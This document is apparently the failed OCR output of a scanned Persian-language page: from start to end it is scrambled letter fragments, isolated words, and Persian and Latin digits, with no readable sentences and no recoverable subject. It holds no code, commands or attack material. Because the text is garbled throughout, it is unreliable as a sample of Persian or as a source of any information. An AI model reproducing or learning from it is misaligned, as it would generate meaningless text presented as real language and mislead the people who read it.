رک اش و تزا با ات سس واودست فا سرا 1
سبط
بررویت زا
و كِ
رن درومرد دوز دیول میب ری اوست ۶
۳ کب
2
0 . 7 7 7
7 در ات ویب ان درس ت ی
ی درم ی بت ایاورت وان وتف سر
3 0 ن>و و سنت روپ نما پش فرب
9 ی 1 درلورا امتیت و ما ی
۳ ی نات گرا یل تر
1
کت 7 ی دشک رو شین |
پر" بت ال رم نت رب ۱
| زیت 7 یت ور رو 0 ۱
ی رم کت من تب
7
سرت ۳ ارت نت
رن 0 راوس تب با
منت ماردمتب ومد رن با ان
[9۳ ۰۰۰۰
۱
۱ /
۱ نمس میت نش رد
۱ و
1 مر راون ا کرو 7 0 ۱
مرو ره رت وک بر رل نوم ۳
4 4 7۳ مضف 9
۱ اگوی ما
3 ترا پر
7
ال را رازه رن سر یکرت ّ 0 رک
یرت خر رک و رم ۳9 ۱
سا
طسو نادست ژر رانست مک یی دا دندردافرم)
۱ هس یتست ند اوه و کنر اک
و سر رون ری 1
ست/
74 و ترا 7 ار
اون شزرو بت میدن ؟ ۱
مد زر زان مرس نز بت ۱
مع مر
۱ 4 2
2 7 ۳ ۱22
ا- یووم یو ۷ 9 ۳
۱
ِ 1
۷ "1 نکمم مان اسر ۲
۰ 0 ی 1
بت متفر ریک اماب
ی ی 2
ی
۸
ارت
لره رای باس یتفر مر زنب مرب
پم ۱۵ 6 7 234 اسط داوس زر بان
فص تس سپ ومیل تٍ
ُ
بت کر زار ۱ 7 رت ۱ ما 0
ز مور رون ترش ونر ی ان 7 رت
یب هشن
رازاب وش یرون ورگ ۳
ره سامت وک ورد ایرد ینوی روا
۱ | مت ری میتی در مارم 7 |
یت اتب ینش 2 ۱ ۱
تا
و ۳ ۳ ۱
۱ زلوت بث* ۱ ۱
۱ ۱ ۰ هس
دام مه پل دار بت ربص بل ۱
۱/۰
۱ پیش شا نوش باه نبس تا
تج
ببس
/ 7۳ نزن سرت فذستد) رت( س_ 7
|
۱
|
۱
۱
۱
۱ ۵
۱ ( رازن 9۶
.ت
۱ ( رتش رن روت 1 بت تست ستد اور(
ام 2 ن ست
۱ لت سینت کر ست رونت اوه
۱ ۰ ار
ستاو رادشه رلم رت بیجن نا
اس مت رت ارت سک
۱ رت و رود مور نا نت
این منت
کی سین سر مت
۱ او رل تنب دست) بت لت زین زک
ری اون تست ونر نت
0ص تحص ط
سس ۱
۱ کرت رن وروی ۳
آت رتیت بت أ
۱ لپ دج یشرت رتست زر راعش وش م9
2
تعسو اد
۱ ی نا تین
[ 7
نم ترشیت ریفس نیب[ ۱
یدب
۱ تن یج کت وی کت ورب ِ رب |
ا
تنل اش دنتسب ورزر مع
2 ۳
ِ ِ 2 ۳ 7
سرام ی ناب دب بت -
ارو شم ادریت له دار ۱
۱
نک اجب لت تسس تا
۲
تیاده رت یب نب
میس پرش رون ان دنک مس رکشت ایرد ِ
سر یتشم دتم ص #2 و
نام سر بت ال ۰
0 1 مه ۰
نیت زرد بات ی جنرت
اس یکرت ور مت
وروی ی فلت ۲ 1
7 اس
دام 1 اث رت مر
رت بر نا مس
۰
7 ری عءا اع 5 سین زان ۳ 2
۱ این یرد رنب طا] ۱
۱ نت ارم مازعا و میب ۱
۱ نادس س نت متا
5 ارات 27
۱ درپراف روا بل ره مب رین کج رورا
۱
۱
ست
۹ ان ساب مرک ره رت ما رث بات دسر
ار کاربد رن ۱
کشت هر
7 »نانک ورن ۳ یل
وا روم رد یم | ور زر من اسان
۱ رنه یمن نت دتم ۱ ۱
درک مر 1 تبرت ی ۱
لش درم ماکان ین مزب | ح
رو ری ریخ ۳ ۱
رسد 7 امس دبست انش | ۱
0 1 در زرد ارو 9
تب نکم 0 وم گر ررست
۱
ف اف ترم نکم ۳
ت سس
زر
مه
ححححر
نک نی ات راب و ۳۰2
| نیتم رام و رظن
۱ ی تن ۰ مر |
۱ ریت مر مرگ ی دز زوشت ما
۱ ارم سم رس مومت |
1
ارام
ی
رت مرن ین رده ۱
تست( ورد 2 رگ ۳ پم الب ی
الطلبینر ده ام اب ره رم تراک |
یی سکم ۱
عا من اس و اما ِ_
اس ر ردان عمج ۱
"۱
۱
۲ |نرزست دراء الم ۱
۱ 7
1 ترس منز لپت »وت
ریت یت ورتم |
۱ ۱ و مس
با
۲ اعتیر تم درز یفن ری نی |
2 ۱
رت و مس وتو ی ۱ ِ
اروشت مه پر ادیپ هدیا رم
۱ ییاوه رال رکت رار نتم
وا رو بیان رل مت رونت دود 32 تن و 1
رورم ما رونت واه مریم 2 73
ی مرول اضور) 1
ات سر له وف ری بان رن ۱
اک و 2 ۱
۱ یت گنفت مان مد :
۳ رید هبات
۱ بمتضررجی کیان 2
| نز نیرت ره منز 9 ۱
۱ 9
میت
۱ | م تا من شت« ۱
ات تحص
ما تسانعم وسوو سم
۱ | دنت رکب ام ورد مد 3 ۱
۱
رز ۳ کر نت ۰ ناس هم
۷ ۰ ره و
درز ده رتاش مه وش مک
1 کی + ,تسم
در ۳ ند دنور 1۱ اس
۲ 72 ۰
یر رصم ناد نادرم مش را ۱
۳0
1 ات چ رارکت کرکییز مر
کیره رالست تور رستعوا ار رون درا دس رگریرو مرت
7۳ یو ون
کار دمک ماهس ,ی لِ: وقاصت مرول نی رتم
َ 2 7
1 1 دک 0
۱ ت هرن رپس نتسب وره وم تور ۱
اما ۰ :
۱ | ابا ار توص ورست تپ ر رس تگرو کرت
1 ۱ ور دور تیان را اور رک بت
۱
1 77 ,دا نگ ر امس سر و زو زر مرپونم ۱
زان > الم
در | ست رم رون روف ات »|
قاری رردال کته در لادم رال
کرام ورد 3
]دنل ثٍ_ ۲ ۱
۱
ونست ادا ورد سيم کت اب نام ۱ ۱
سپ سس سب
مست هک وبو کال رن رس تک کاس ۱۳۷۳۷
ار ۱09/۳۳۹۳
7 ۱-۰
و و
و ۱
۳
۱
۱5
3
3
۰
3
۰
گ
۳
۱ مرن رس را سرور و۱2 وش شم درد بان
۱ 99 ۱۳
| اي این کیت شرا ون روت ان
رود
۳/2 7 ۰ ۰ 9
ارو رو وتا ان درو و و یل دراو | مدا کل
۱
۱ ۹ ِ ۸ 4 / ۰ « ی
۱ بان رولیت پرو وین و رت روم
۳ دایز وروی مزر
رس
رن وی نت ۰ رورا ی با ال و تب شم
ادا یرمزه وک رز والیان/ ویتکا
دار ۳ 9 ان #ورار
)
#۶ وال رخا دوک رود مور را روج
مر کم ریت |
«رسشت «مزرتررست مره رن کر تم
1
97 بس دن 1۱ اس
دا رتیه ی
۶
۰ب
۳۰
موش را در دون »بلردارمر زاو ویاز ام
۱
۱
۱
۱
۱
۱ ای ای /دّمیا تیال بل رت ۱
۱ وب رت 5
۱ ده کنو مزر ۱
۳ ان 7 وتو ی یدرد
۳
۱
ارم سته از ۳ ام سپ روت و
۰
م۳ دم رکفت بان ثق سار ما
گر
رو یر ره هت لت ایساد ددل 2 ۳
مد
مرا وی ای ولا
7 رفس رش 01 رت دیدش( مسارم(
بات
ار کر رام مش 0
رورم رام سول بر تمد ۳۳
0 1 رت ِِ
ی اس / کت
2 ام هدرن 2 ل«سترن رت
من نون نوی ) ۳
7 مسشه م۱ 7 را موم ما
نت «ترگفت پر راک بم تم رت
ار کال مرت کی
ار رگ نوش
مسب پلرضرلن! 71/7 نا بت و ۳
بت من نت رب مب هداما
۳ ۱
رن شرت ری کر مرو رت تما
رشب هنشت رورا یتک هم
اشامن رتست دی
ما کت مک نت ارسپ و دای
مه ی /
اکس نا مس اد سس رت 7 رگ
۳ نف بزورو دریی ان «لت لوزعا وج اناوت در
۰ ۳0 ۳ ِ و مد
مان وت سب ات لا گام زو 7
مم اه 2 شم ون ی رد
سس وی رقج من لب
۳ ۱۱۱2
۱ ه 2 اررکینیة
۳
فا ماش رات بر تخیر ۰ اووراو بشررزرات ۸ ۱
۳ ما 10 ورس شا 2 ۳ ۱ ۱
۱ یم ۱
۱2 ۱
0 ۱
۱ را ۱
یت یگنت شیل مان ۳
۱
َ 7
3 ۱
سب
2
سا رتست لت 0 پم
۹ 2
درل سیر نت املیمم 13 نس در روا و۱
9
3
ال و دی ی 7
دس ل تراکب مرراسه ی را داز رتست
رامش زانآرمتت ری دعر
ی م نتم ماوت دل ردان زر 9۳ ۱
هیوست زک نون منم[ ۱
سر ور ی ری مر ۱
ً کت رورا 7 روا وت شارت اک 1
۸ هم اک ما مورحم ۵ 7
رز ون مرا ویشرییری رضاح 1 7 ۳
ی اسلا
0 ۱
ورتم ۳ ۱۱ ۱
میت یر ال س« یزاب ۳
7
7 رواک رس سرت کون 27
3
مر ۳ ی
ميرك رم من ررعد تب را الما
اک رل زگره ارت تمس رن
۰ 7 2 ُ
ات نک رتم رد بل فلت یلررن رب
رد نش توا رکف | ۳ تاکز ِ بتثره ی
۰ /7 ئ ۳
ودرا یدیع ۳ بجو دام
روم تیم ابیت بل رده ار رم ۱
2 4 تک ست
عم دیا ال راز 7 «صدو لب جر
۰ ۰/۰ 7 ۰ ۰ ما 7
کر دورو دور 2 جک ام ایاضر
و مه هل
مک دا تسایر ثو رلشت برد رال
۰ و م۷ قعی رت رت 2
ارم رل یا ۳/7 دلیم رال
7 0 7
ی ۳
ان اي ی ۱
۳ ۰ / 0 2 ۰
کل تشر رازن 3
هك ری نز 0 دارم
0
: | «بّن کم وه 9 1
بل رک رین نوشن ۱
0 ای نایک رپ
بح هدومن متا
نیماتیو
نگ ی تج ۱
شالت نیودت بت
۱ رن ی سروس رش 0 وت ۱
دز سای دار درو ریت
تن میب بان
ین دنس بط ریت
۱ ۷
ان ی ارم مرن کرو 0
[ ۱
م خاس
ك ازورنز 17 ۳ کت زا سوم مک
۱ ول م دزم( هی تسیر
2
رد
االر, 7 ۷
۱ کر بان نیکست وله
2
هه : ۰ 0۸
ا ات 7 یم نت من دمن مهد شتا
۱ بو 7/0 7
نیت تست وی 7 ام 12 شاه
ی تشرد سپ بسک
19
| ریسم لس یامه یت زار وم دسیون ما
«ل ان تشت بس] 6 ۰ ای مرا ال و کرک ۱
و 7
ی یوم زوسن( نز ۳
رنف رتاک رف !زا نام
0 و 7
یش من ی لس ۶ با
۱
۱
۱
۱۳
تک فر بای وان زرا ۱
۱
۱
و74" و ود ار سکره پرنت ین
7
رم درد جتریونسست هر ۱
و رس یاچ یو مرن ۱
۱ جوز زوین ۱
]له حح |
۲ نف 2 مستتآ رونت ویشتبیو1۳
| 9 دنز ماس ۱
۱ گرم 7 | رب رت مت 0 نتم ۱
سب یره مومت ها رن ۱
نکر دی نت ی(
۱ مره ی یج یت ار ۱7
( ریا رن ندرا 7 ال ۱
کمن رم ند تم مسبت جنی ۱9
أ ارو کالب رورس مر ۹
هلت | ۱
۱
ر
نوشن دون
وتان 0 ۱
| وشدوخ پیج وای ادا سوب دک
۱ عزشست و 0
ی روک ارس ف
۸رر ۳
دا 2
کاس نیوا
> <<
۱ ۰ 4 ظ ۳
7 7 رما درکن ارتم برشره و تشد دان
1
۲
۱ ال ريز |برشضت ورن وا بر رتست |/۱ نم
۱ و ی
۱ رد پیت ران7۶ ۷ ردو
۱ درس ردنت حف 7
2 | ش 1 رک
۱ نز نیت ایم دا ی
۱ ان شیب سیک" بن)
رن 11 توالت تبنم شش او
۳ 1 کیک لکست رز
۱ | ینور یم وال۱۸ 11
راردا ار شا رال تین کی
ند لو دنسپ رنب قُ
۱ زو رتیت
13 ۰ نب ۳
وال ار تسیب وواب ها رشب شا # تک سر دمم |
|
۳ 0 2۳5 2
۱ 7 ۰ 7 و
۰ ِِ ۰ ۰ 7
7 سوم سور را نم ار و رات مر عمش |
4 ۱ ۳ ۰
منگر سر نکتخر گنت ونژ >
۰ 9
9 9 را سوم رن مرج شم رت
بیاغ میب رت 2
ین 0
«برربسا اند ترس ابر دنز ۱
بل بل 5 7
ره ۳ ۰ رن مت
مش دیدن اشداا نکپ 0 ۱
پا
6 ٍ » ٍِ
نم مر نیا
سنا 7 ناگ ۵ و
ای نک مه یتست در
لو وم در 3
کت 1
۰ ی : رب
۱ نش پر شتا ار 7 رنضب) ۶ 4 رت
ی ۳
منست ام افو رش
/ و
منت ید۳ ۱
یم ان |
کرو سس 71 یواست رن ۶
هی کی رو مات ره ی ||
| راون در راو نگل رسد دادرم روت مك ۱
۳
نو
مد
یت تساج
ره کی ور مسب و کر ۷
4 وتییدملنت رش زک رو
1۳ 7
تس یخوش کین
رت مت مز نزن
رن هنت یپ کل شا
دوز من مامت
رک من ام رز من هس یی در رت
مسبت ۹ ات«اجا 9
گر رو تم( 1
نم بش وان
رم نیمه رشن مد ّ ما و
شیک را بشره 4 -
ی 1
ما رن و مایا 7 وا نگ
| اس الحسس-
سم
کار 7 ت
تمرم نت بت بسن تم 2
تم تسپ سیر سس وا لول زرد م0۸
۱ لراشتگ نم خ نت تام
7
۳
۱ ند رتوووت 2 ۱
۱ 2۶ تب 7 رم 9 ۴
بر دینکن میک( |
نم تست از خم ۱
رکفت 7/05 تا 7
وبا یگان | تست ردی سینت
مد زان لین بل ۱
ی و ۱
وک منت ۱
مسجت برن دیمان ونان
/ دم
/ ۰ 0 ۰ لت
تست مهبم وه اپ تن مین
۳۵۳
ی لک ی ایتک کردم نام ا«دبت نم ۱
مسر خرن تشه
تما را کت ینیم ۳ ان
۱ و 07 ۸۸ ۳
الفترت ره شنت یی 1
4 لخن تلا 12 منت
بت
کراذاشت ام 0 44 نال ناه بد ۶
| 10۳ ۰
رب سینت
ارت یرو ۱
۲
۱
۱
۱
۱
انا هرن زره کم یی وت ۱
0 مان 2
ای اپ رت عون رسپ و و 0 1
۳ او 1 ری وه ند
کر و 101 سر
هرودوژ بان ۷ 7 رسد
4 9( ی ۱
3 ۱ ۱
لک من
سرخ ی رل ۳
یار زت اضام!م) مر ال ارت رز ۱
لا
بر 2 مه
و
۱ رز یراب اور وا شرا زاو 4 ندال ۱
۱ یروا مب ۳ ِ تست
,2
۱ ااردیش سس درل شا دما سس تک | له مر وا ئ
۱ رت
رت رکشت ات واه
ات بت رپ سم عم رت
ایادانن ۶ متا رن پا یم جک
7/9 بل درک #0 7۰
رسد اعضا ارت ول ازتنش درمز اتف
رتور اي رل مرن
درف عیرست آندرضت پر تا بتک مرا
و ۰
هپت مارم یکی یدزی
رین کر ند راک مک
«فیماا وت وبتادفت | 7 روف وله
11 ۱0 ص۱9
یت و تست مب تا ۱
ور تدارا میس تشر و یی ینتم كُ
سر مر کم رات زو
و رک ماما نا بش و 7
ناهرب |
مساو
هکره
ی ور ی فت ی 172
نوم سب ّ رات ین سم بم 7 9
لت نهر بت برفت وزرب مه
کر رگن سرت میج بو
ی دنس شش تشد تفر ار و
ریش تج شم
ایبول و سینت و شمن نت
مر ی ی پم
وتو وه ست/ ردان دابسا یت
۶ برس برض نگ ۱
سس
۱ کم پم مت من تا 2 ۳
۱
۱ ور
ارگ برد شرفت خرن ی رح
ی تیش یم و
اس وی ی ورن وست ود 1
ام / تا و وا / منت ود
,رم
ار ست پر لت مب رز ۳ ۱
اي ذم سینت رف ۱
۱ یگرب ای مرو بت نف
۱ | کات زر عپانکورم
۱ رن 2 ِ ۱
۱ تست ز رازه هک ادن تشم دا بر
ددم دایم و یت رم او رش
1 رن اج بسک سره و موم ۶ و پسشت وا ۱
| ور
۱ تیار تانکی انم تسد بان
[" ۳ سس - سس
7 ز 0 ۰ ۹ 7 ج ۳3 ۳
ورست ریت ار یتست ورام ی دک | ۱
2 موی ی / ۳
۳ شرت سنا
۰" ۳ 2 ۰ « 5 ۰
2
7
بر ۰ ۰ ۱,۰
کمن بر تکرب ارب تیان
و 4
4
۲ ۱ 4 و
اور ورتوع سا زد گر و رال
مرا ۰ ای #-
ردو
اورابا و رتری رز فت اریفاممم ۳
3 ط 3 رن ۳ ره ۱
0 رتست( یرد« اژا! و یسروب
ِ ۳ : :
لش بر سرا ارست سب ونر یدرد
7 ۷ ۲ 2 2 19
کشرز ناشت را یب مدرد ۱
سس
۱ ۱ ی ی ره رم
سک تسش گنای ادن دعر
/ ۰ ا رو ۵ 7۰ موه
ی[
۱
۱
۱
۱
۱
3 و ی مه من |
۱
۱ ۰ 7 ۳
۱ زان ربمت ون ک
11
او
0/۳ ره 1 ی 7 ۳
1
3 رت ی رت ۱
7 رم
0 تراد رد سا
روا ارت زمر تارب عم ی
و 0 لاش سرا 5 س/ مرواب بوک
ال کم ۶ رل ج سا درب دول
بت مار و
رل
مان تین ۰ اب م۶( تور
سپ کارا با
تب یت رون بو ار 0
ی من
وک یلم لب رن اعیرس ده ۷
تک مس ماب بر مر مت
یسب ها بت رک یان/ میت
ی ت نش زج
گ
۱ نجل نکر کت ادص یب دض 0 ۳
اد یت پضه زپ سا با وشتبک!
7
بارززگدم نت مت لا بر ۳
کب بر درا مت شاد
| 1 و۶ فد
رای ی وش
کم ی ره دم ی
ان تیا تلبت تون
کتک ررض تروپ نک سک نحل را 7
مرت مت زرا یه
7 تبون
نتفرگ نا تج ررانت) سس 0
س زا کر وف وم کب
زان سک میدز ۳ رپس و
نیت بحف ات وم یی
1 5 زد
چم شرب ۱
۳ /
۳ شوم موز وه ون با رو و زوم 1۳
شم نات خر ی نش راف تا
دهدب موززاشت ینس کنیل ثر 1۳
ان ین دک سروب زد پست و رس
1
-_
1
دنس مت ۳ ید منز
7 ثِ شتا 1 راو رسب وشوو
اراد رت 39
رن زوا رضت با روصت پر سر نت
بای رون لزاپ راز زولب رواب وتو رت 1
ملد همع روت نیت تم بت
ان رال پر یگ یت نگرز یل ورن
ی در ان رن سا مرت بل
دنرشت) رس ندب ۹
4 بسح 1
نصننا دا دا پوت ۱
2 رات انز اندانبر 7 پللشت انلیا سکب
پر تن س اولنت رل و۳
اکزراشراپزشت ت رز ؛ و بت وه ول
مرا ترا کشک وود و77 سل تشاب
موش اون اما نت رز
0 و ۰
بسن نت نیز کاس ماززدت
رو ی
اب کرت رتنس کید ول د ديما و2
رن دضلشت پر زان مات بر ارو رف ۱
مس یکدی تفت بر سر
دندیسر ی لا ,بر ۱
رد
ی
کت نت ور ی
| له لو رو وکا مسب وسوا پم / یه
زیر تیب ۳
ار رید بر ها رما ضریا
اترزشت ارگ بان تا 3 7
۳
مدای رم ای و
متخ تايم نام
|| موی ات وت مت
ِ اي سر یس نی
رل تسب یا ی درد سبونب رشت بو
۲ شتا ی ری 7 ی مک ول
ای 0 / ۳
| |تابکا رده رت ات ور ببارشگ
ری زر ی یرای ,یک
ه ق نی
ام رس لس دورو رو شرت ام دم در رد
۱ و اش قوس یار رو رن
اسب از ۳ روقاینگرا رورا ات ۱
۱ 7 7 نات ۳
اکسرا مرت رد۶ ریت ساز/12 ور
رت کال تکار ی کت دور شکب ان
ال«
۱ اسف اون کدی ه س
مات وب ی
۱ تور را رش( ۱
۱ 1 ِ
أ کر درا رجا رورا مرول رانک مر
ات ی نیت یی رنه
2 ب
تست دا ام نا توبات کتریاردمست | ابتل1
او ۳ ۳۷۵ وروب پر ون ازورر کت ح مر
ات یه رک )کیب ص ی ۱
۷ 1 رم
۱ و رن ۱
هدنوم هی[
۱ آست گر 4 ری زفط 1۱۳ ۱ ۱
۱
تلف وت دض
7 ره ادا 0 7 مرس زک سعارن!
کارا رو ل ارف گنک
بت اس دا گت بان) رن بِ- 71
و را تست رارکت یی ُ ون نک
ی کرت نم ی مر داب
۳ یل مین عر ری چیه ۱
4 ۱۳9۵ رکفت انم
۳
عیرس نرب ۳ ۱
سر و بل دی بت ور یاب وال میت( 0
0
یط ۰ب رح 9
1 پورارگی اور ریس 7 لاش لصا 0 ۳
۱
۱ ۷ اس + نس سر ره 3 ۴
۱ #ِ سرت منرت نات خاسک از
کد
ات دص
اش تنیمل .۲
/ ۳ 1 ۰ ۰ ۰
7 ابا نوتدای ی بت
بل رت سا 0 ْ
وم
دلب دار دا جسبت ٍسطی دا 2 ار بش راو ما
فیگرنس لین مت 7 ی
دک ورف رگ منت و رو ۱
7 مین رد
راون کل تکفا تحت سا
ال یتفر روط |
مالک کال زدرامر شوپ زان » شترا
0
راداو مدش لب مق
ی دای ل یبور 0
این رون سس ش بل بتک 2
۱ شم سنتاینی مد لک وا ی طس لت ۲
/
تست رت اد لع
رن تست | ان 7 0۶
اشوخ مه یط نهر 0
سب مه و گر ندش رو ۱ که
مریم یرت نون مرش جروت
ی
مر کی پر کات ور 9
یبن فا رواوزی) و عایرحا! وشافت ور ل نک
ور ۳۹
س و متا لو کی !بر
راو(
۰
اي من مب ۳ ی ول
۹
لبم و 0 7 رت 9 ویک رامع ما ری زر
3 |
دای شتا اومطراو معال! رتسکرا
.ی
گس رپ ض ۷
سکن کنر یت ۱
۱ ۱ کر دتم يت
| | مدشن نیش رات نانز نا ۱
۱ فلت ات لین مولاست درصرت در ورشت ط و
بت
أ تست درز رازن نا
۱ 0 9 7
۱
۱
رن ار ۳-72
یل نمشد سامت ونر او مرو رجا ۱
۲ دییات ترا 0
۳
۱ بع یرال الب دوکنت زیرگ ررپارمسط تج
۱ رای مر[ 2
۱ کته دورن راشفا ردنا
ابیت ین را نا مق ین این بل
9 دک
تشدرس ملس نزاوت درم 3
رای
۱ رای سورد وش نهر
۱ ۳ نارکا سم من ناست بر ۱
ات
ء ۱
0 رد تست سور ۱
زان ایا ترا پراش
1 3 این ۰ 2
۱ برد او من ردان 0/0
۹
7
رشزانش: ورد هک رطرم[ زره رن و مارا
| ۷
27 مگ ررارد ول م2 تج ۳ کیت ار تورالن:
۳۹ 21
7
۱ ۳۰
تست و هد
۳9 س
یراس رک هن زارت ور ریب ۱
7 1
۳ ۰ /
۱ زان م7۸ ما
۱ یرو شور / سمل تست را برلعا مت مخبو ورگ
۱
۱ مك . 11
۱ موی دگرفات فت و رنب عاوت سپ ردهضرزران و9"
۱
۱
۱
۱
۱
ی 7 ا جر ۰
اورریا ات توت ری د رنشت اد رل تشر 7
۱ ۱ زیرگ ربجنر ۳ قح 0۳
۱
۱
۱ ۱ دررزخده ا کج | لیر رام رو وتات ۱ 04
۱ ار 1
۱ درست را و و لیا
9
/ 1 7 تون زد رز درو ۱
ل
ا لس << 1۹ ۱
۲ 1
رسب 9 7 مان در نت ۱ ۱
م: ك ۳
سم
حضر م7 مپ سِ ی 2 کم دسررش ما تن هو
بای 7 بایان کرک موجه
بط ونر ۳
نخان دزرو شمه رم ونان زیت مد
۱ دس ۱
0 ۰ شم 4
بسك مر وورعالتتواری مایت دز ۳۳ ی
3 / 22 ر
ال یک راو رم | ً
0 7/۰ رد
ودست ال اسب 10 ندومن دواد دزی 7۳
اعد مگرریز ور وزای درآمریتی ات اور
ب 27 ِِِ_ 4 2
/ ۶"
تکای دزی تکفت اهر 2
عمانت ۳ # و ریت6 دوان متا
ی ۶
۷ و ریم مه ای الانتال در
۱
نادزی ایک برش شرب
را ۱
۱ شاد گر یخرس رت بای 2[
کت
سب ريد ي.
۱ 2 7 7 شور 9
| وا س/فاءدسرسی) ور کت
از فراسعح اه مس رو رامیت ارس ریز نزن راو
و 9 مش دواد تکرش لت موه
۱ رن است نی ناس در ریت بت
تن رین اجب وب
۱ ۱ دهد نع سنارت
| رید این دش در عض کر
أ رون ت تس سب ۶
ی وشتسش اسف متا
تسد ان رو ریا 7 ۱
1
یناررتشت ورن |
۱
۱
۱ ۱3 > 5
۱
۱
۱
۱ یروجچ ۱
۱ ره ی کی
زد دا شتا من یت حا
یت 7 4
اد شم دمزمر یز نارس
|اوت بت راز وله وروت با ۲
۱ ۱
۱ ۰ 2
۱ سردم سر از یل بر رت دنت انیب رت
ارت نت گس کارا مس ۱
۱ ات پم ۳1 ررکینت ررنانشیو نب ال ۱
یت 7 شمه دسر یز تل زه
مق | و تا زر ۳/۳ ۳ ۱
وهی سرا ۱90 ۳5
لت دیرع» ار آن دابا زود شنت | ۱
۲ ذمنا سای 0 ۱
لت رن و راب ولآ تا ۱
1 وس یسیع سس
۳ ی ری | بسا ۱
سل رتست رد مایم تم
۳ اس 0 ۱
«راریز
۱
۱
۱
۱
۱
۱
اه
لت یز ماب را ۳
4 7-0 0 ۲ سین ۱۳
ما ۲ اک درل این 1
مش گرم تن نام رت وا
نمرون ولتت ۱ لا این اد پر
با
ی 1 ان نارای
لیر ۳ 0
دک نا تا 7
سع نا مه با 97 و
ت ست ماد سورع بندسرا] ۹
راما وب رب تون رت ی
ام رانا 7 ری سک رک
رورا دب مزر تست ور کرت را تج
1
نامم یمسا 77 ۳ رم زره ز در سب 7
هه
ات تزدنک یر ز نکري او ً تست ریم ۳
افت) 0 نیش رو گنت تمهت در ۲
۲
7
تک[
سیسسسس مجح
۱ آلزیس اگوی وروت چ مج درل د ری |
یف دار تک ده
0 زک تاه ۱
|
ارفق رکفت ا یپ ما ۱
۵ یم ۰ و
ست را تراد رال ره نا منک ۸۳ 1 2
کزان نت وزرا
8
ات ورست(ا«رلورا وس ات با ۱
النت) سس شرت زد میم تم رو کته رم
انس ماو ربافرا یکت کر و رل
دز رمت مراشت سر ی ننک
هرا ری ست / ۳ امس رکشت نی
نومب تارف درس ساب مای رد۱۳
اش مسبت مود ۱
ارت وس ری با ی
اسرد کون 22 7" تاد هک
-ِ مش وگ ۱
یتنس ما زر
کالعدم وان مدنگ ۱
مسبت 7 بت بر رلت پر
ان هیکت سس 3
یر ۱
یت هرن ود دا ]|
7
لا
9 ۳ رن مرااست ملاس رداستت"
۳
۱ یش اي یت مخ زگ ۱
/ ملس 0 و کر مه وضو ۱
شتا لد يمک را ّ رم یگنت ۱
۱ | ایندب نگ سک را سامت ۱
| کت بر درم تست رت
۱ / هی نوی ترا جات تم ۱
| کار ۱
مت ||
آشرست رت | ار را ماس م۱
۳
۱
۱
1
رت 7 سر
»
سی ویس یت بر 0 ۱
۱
کشت وا ْخلزن درا ۷
زر / ری تن یرب ساره 0
۳ رابت در پا زراب و
نب نگل وت
ر ست کم ی 2 انا
۸ یراق فاد دز مر ۱
0
1 بت رت ی ۱
| ۶۱ رت سکلت یرانردو! ۳
۱ کن رم قرش خن و ۱
در مک امرشست ای اما دی ۳ ۱
میات و هب نز
7
۹
۱ ۱ نم وهی 1۳
| ابملشت اووطر رو / 7 5 رد ان
3 رات مشش( نی
راشای هم بر (بزست پول 7۱۶ 7 ن برش
۱ رتست بو ین سپ سیر
|| سر کرش منی اس رورس 7۳
۱ گس کید تمرم | اصب ای
3 ست سرت 7۳
۶ ری کون ور والر ارت رنه پا
شرا انا گرا فد
1 3 ت 1 ۰ : «دالزٌ
مرت ین نارمچ
۰ ۰ 5 ۰۰ 9" 1 و
من رده وت گرا پر ورن از وات ابقر سور از 009
27 وم نها
۱ حیبست خا روت اسبت رین #0
رم ریما رن رت ترا را ار
1
و9
۱ نیدرف( یمن لت ۳
۱
مر 0۳ ی درو زدل بت و و و2 در
1
۲
آ
۱
۱
۱
سم ناساس رگرراصروت انروس دال ور |
۱ ارب انا يراي ۹
۳
ی ۳
بزشت ۲ ۱
۱
۱۱ 6 ار را
۱|مبتلداسباین رز سول ری وس ور |
ْ
سست
۱ ریش وت روپ موی در رتست(
وزرا ی 7
بِ ی ح ز
ری یذ رسای :
۱ شرع ورس دنک مت ۱۳ ۱
۱ یی ایا رن تم
۱ نیشن تن یارزو مجسنم |
ك داي ام نش یفرشا 4 ۳
نونک نک مار 1 ۱
من لنش همان دمن یلبم رن ی |
۱ 44 ودنغ 0 نیس نا 2۸ ۱
5
چم : ۰
| داب اذدرب تنس سک دباست بر دا
اهر ست نم 7/2 روت طا مرت
"
۱ ی طیلب کل
۳
کنر رن نت از عوسرورست نانبل
تیان وضین نون ریت میت رز
روطب سل رش تک کشت ار 3 کت
ا تسس مرو |
| شدای درا ونان دی ن/ یواست رت ۱
رو سب 0
ردانب بشما
ادلر وسلدادل! ٌ بلتورن وشوو
بان رو رون دزن پست کرد 2
گرد از ری تاه ین امش ریت
راز ینز دی کرت 7 اکتا مه ویک
0 7
اه 2
۳
ای تانب 0
اکتير یت در نرریتون رن
ار امک را دی بل سب داش نیت 1 1
۱
۲
این گرد شمسا سا
اکن رن رزیت مر ی کات « وه
تس ۳ ادا دای تم لت رن
ات | نیم۱۳
گاید کیت مر 2 ی
نت رن دورن تم 9
مک کم ف یکت 5
ره ر چم مین
ی سر شم که
شوش تکوایر یبن رن سیگ
رد
س
سر نت بان وه 4 ۱
یک رس رد مت | وس وکا
"
کر 14
| 7
۱ ۱ مین « برع کت ریک بل" یر |
| مت بٍ#ٍِِ_ رات ۳
ااسیی ۱
۱
۱ ۱
ای
شاب باس بر ف مرت ور وررصت نک[ |
۳
ار مت لوح مر ی ۱
| سکم ید
۱
1 تشم تست شش رن رون
ی سیم میت «رتییت دم مت وگ
۱ تا یه رگرب رخ |
تمعن کت« بت | ۱
شاف نس راید دررشست نزو لت
| تدم |
۷
27/۱ سب
رب بت ۱
ان ینش ده نییزت | ۱
1
یتح
د
تس سح ۳
ی
۱ «دی یکت رن همست دنم ۱
۱ نوکت مد رشگض سای ۱
۱ بمب وید سومست سب افتن 12 ۱ ا
۱ ندمت خی کر شد ی ۱
رت 2 تسين
ِ ۳ جرا مب
و جوا بچوپچ
6 ۰ > و ۳ ۳
۱ ۱ کین تر ریت ود یر وم بلتم ۲ روت
1 مک مت سوا و ریس بت
۱ رکفت منست رد دنیب رن
7
ابو دص داسف انب ست بای رامش
7/۰
۱
اسر سر درز تراسا زور شضا
«ِ
0
4
سا ات ات ری 2
و
| رت کرت دون رای تک
هدن سر
۱ ناتسرل کشت بو |
تدم ی
کت زرم رکفت هرت ات
سم دیش کر نک
رک ردیس نت یی ار سیر یگس
مزر رب ریبک
و
1
۱
۱
| اضرا تب دب
کارا ی وف نز تست دار ۳2
۱
۱
۱ و
۱ ۲ ور مرن ردنب ملروژش
وت ات زگ مرن نه
تفت ریت کر رت ای ین
زور ی برشانشر و نیگب نگکتاه
